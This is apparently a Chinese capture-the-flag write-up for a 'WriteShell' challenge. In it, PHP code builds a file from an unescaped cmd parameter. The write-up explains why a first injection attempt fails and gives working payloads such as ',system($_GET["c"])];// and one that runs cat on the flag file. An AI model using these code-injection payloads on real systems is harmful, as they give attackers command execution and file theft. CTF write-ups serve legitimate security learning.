WriteShell

拿到题目后看到,源码
程序会把 cmd 参数拼接进一段新的 PHP 代码中,并随机生成一个 PHP 文件。
关键问题是:
php
. $value .
没有进行任何转义,因此可以通过 cmd 参数闭合原本的字符串,并插入 PHP 表达式。
尝试paylaod:
?cmd=',];system($_GET[c]);//
想把它闭合为:
<?php
return ['hacker'=>'',
];
system($_GET[c]);//',];
利用注释//把后面的数组给去掉,手动完成上面的闭合
然而不行!!!
已经先执行了 return。当前 PHP 文件会立即结束,后面的:
system($_GET[c]);
永远不会执行。
正确的payload为:
?cmd=',system($_GET["c"])];//
或者
?cmd=',system('cat /fla*'),'


浙公网安备 33010602011771号